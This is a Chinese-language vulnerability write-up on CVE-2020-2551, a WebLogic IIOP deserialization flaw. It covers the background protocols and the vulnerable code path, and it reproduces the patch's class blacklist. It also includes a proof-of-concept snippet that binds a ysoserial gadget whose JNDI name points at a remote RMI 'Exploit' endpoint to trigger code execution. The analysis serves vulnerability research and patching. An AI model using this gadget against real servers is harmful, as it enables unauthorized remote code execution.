Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析

 

作者: Magic_Zero@奇安信观星实验室

0x00 前言

2020年1月15日, Oracle官方发布了CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。

 

0x01 漏洞分析

从Oracle 官方的CPU公告中可以看出该漏洞存在于weblogic核心组件,影响的协议为IIOP。其实经过分析发现,该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。

为了更好的理解这个漏洞,有必要先介绍一下相关的概念:

RMI: RMI英文全称为Remote Method Invocation,字面的意思就是远程方法调用,其实本质上是RPC服务的JAVA实现,底层实现是JRMP协议,TCP/IP作为传输层。通过RMI可以方便调用远程对象就像在本地调用一样方便。使用的主要场景是分布式系统。

CORBA: Common Object Request Broker Architecture(公共对象请求代理体系结构)是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现。

IIOP: CORBA对象之间交流的协议,传输层为TCP/IP。它提供了CORBA客户端和服务端之间通信的标准。

那么什么是RMI-IIOP呢,以往程序员如果想要开发分布式系统服务,必须在RMI和CORBA/IIOP之间做选择,但是现在有了RMI-IIOP,稍微修改代码即可实现RMI客户端使用IIOP协议操作服务端CORBA对象,这样就综合了RMI操作的便利性和IIOP的跨语言性的优势。

在weblogic中RMI-IIOP的实现模型如下:

Weblogic-RMI-IIOP

Weblogic的文档把这个实现叫做RMI over IIOP。

理解了以上的概念,通过下边的例子(完整代码请参考文档)来帮助理解RMI-IIOP吧:

首先定义一个接口类HelloInterface,注意必须实现Remote接口,实现的方法必须抛出java.rmi.RemoteException的异常:

public interface HelloInterface extends java.rmi.Remote {
    public void sayHello( String from ) throws java.rmi.RemoteException;
}

接着定义一个实现该接口的方法,然后定义一个服务端,并将该服务进行绑定,然后暴露在1050端口。接下来是客户端代码:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;

public class HelloClient {

    public static void  main( String args[] ) {
        Context ic;
        Object objref;
        HelloInterface hi;

        try {

            Hashtable env = new Hashtable();
            env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
            env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");

            ic = new InitialContext(env);

            // STEP 1: Get the Object reference from the Name Service
            // using JNDI call.
            objref = ic.lookup("HelloService");
            System.out.println("Client: Obtained a ref. to Hello server.");

            // STEP 2: Narrow the object reference to the concrete type and
            // invoke the method.
            hi = (HelloInterface) PortableRemoteObject.narrow(
                    objref, HelloInterface.class);
            hi.sayHello( " MARS " );

        } catch( Exception e ) {
            System.err.println( "Exception " + e + "Caught" );
            e.printStackTrace( );
            return;
        }
    }
}

可以看到客户端通过JNDI查找的方式获取到远程的Reference对象,然后调用执行该对象的方法:

这个调用的过程和普通的RMI方法调用很相似,因此很容易想到RMI的反序列化漏洞(CVE-2017-3241),通过bind方法中发送序列化对象到服务端,服务端在读取的时候进行反序列化操作,从而触发漏洞。

于是构造如下请求:

public static void main(String[] args) throws Exception {
        String ip = "127.0.0.1";
        String port = "7001";

        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
        Context context = new InitialContext(env);
        // get Object to Deserialize
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
        Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
        context.bind("hello", remote);
    }

这里使用Ysoserial内建的功能帮我们生成一个实现Remote接口的远程类,发包之后收到请求的流量:

请求包中序列化对象(这里序列化的使用的并不是ObjectOutputStream类,因此没有ACED 0005魔术头):

跟进调试发现客户端的bind方法中序列化对象操作如下:

至此,整个漏洞的原理其实已经搞清楚:

1. 通过设置java.naming.provider.url的值为iiop://127.0.0.1:7001获取到对应的InitialContext对象,然后再bind操作的时候会将被绑定的对象进行序列化并发送到IIOP服务端。

2. Weblogic服务端在获取到请求的字节流时候进行反序列化操作触发漏洞。

如何验证呢?看补丁的时候发现补丁中和IIOP相关的只修复了weblogic.corba.utils. CorbaUtils类:

然后全局搜索相关的包发现存在IIOPInputStream,根据名称很容易知道该类是IIOP类输入流,点进去搜索readObject然后下断点进行调试,命中断点之后查看调用栈信息如下:

从调用的堆栈中可以很清晰看到进入到IIOPInputStream的处理是从read_any中开始的,也印证了序列化中write_any的操作。然后将断点设在该处动态调试可以发现:

在ObjectStreamClass的readFields方法中对序列化数据进行处理。至此整个流程已完全走通。

 

0x02 漏洞修复

首先来看一下官方的修复方案,打上补丁之后重新发送数据包,可以在控制台观察到拦截日志:

然后在CorbaUtils类的verifyClassPermitted方法上下断点,重新发送数据包观察到命中:

单步跟进可以发现并没有拦截JtaTransactionManager,随后继续跟进发现获取到JtaTransactionManager类的父类AbstractPlatformTransactionManager类的时候被拦截,黑名单中拦截的类包括如下:

maxdepth=100;!org.codehaus.groovy.runtime.ConvertedClosure;!org.codehaus.groovy.runtime.ConversionHandler;!org.codehaus.groovy.runtime.MethodClosure;!org.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.UnicastRemoteObject;!java.rmi.server.RemoteObjectInvocationHandler;!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.RemoteObject;!org.apache.commons.collections.functors.*;!com.sun.org.apache.xalan.internal.xsltc.trax.*;!javassist.*;!java.rmi.activation.*;!sun.rmi.server.*;!org.jboss.interceptor.builder.*;!org.jboss.interceptor.reader.*;!org.jboss.interceptor.proxy.*;!org.jboss.interceptor.spi.metadata.*;!org.jboss.interceptor.spi.model.*;!com.bea.core.repackaged.springframework.aop.aspectj.*;!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;!com.bea.core.repackaged.springframework.beans.factory.support.*;!org.python.core.*

并且这里设置了递归检查的深度为100,可以看到黑名单中包含该类的父类。

 

0x03 参考资料

  1. https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html
  2. https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738
  3. https://docs.oracle.com/cd/E24329_01/web.1211/e24389/iiop_basic.htm#WLRMI159
(完)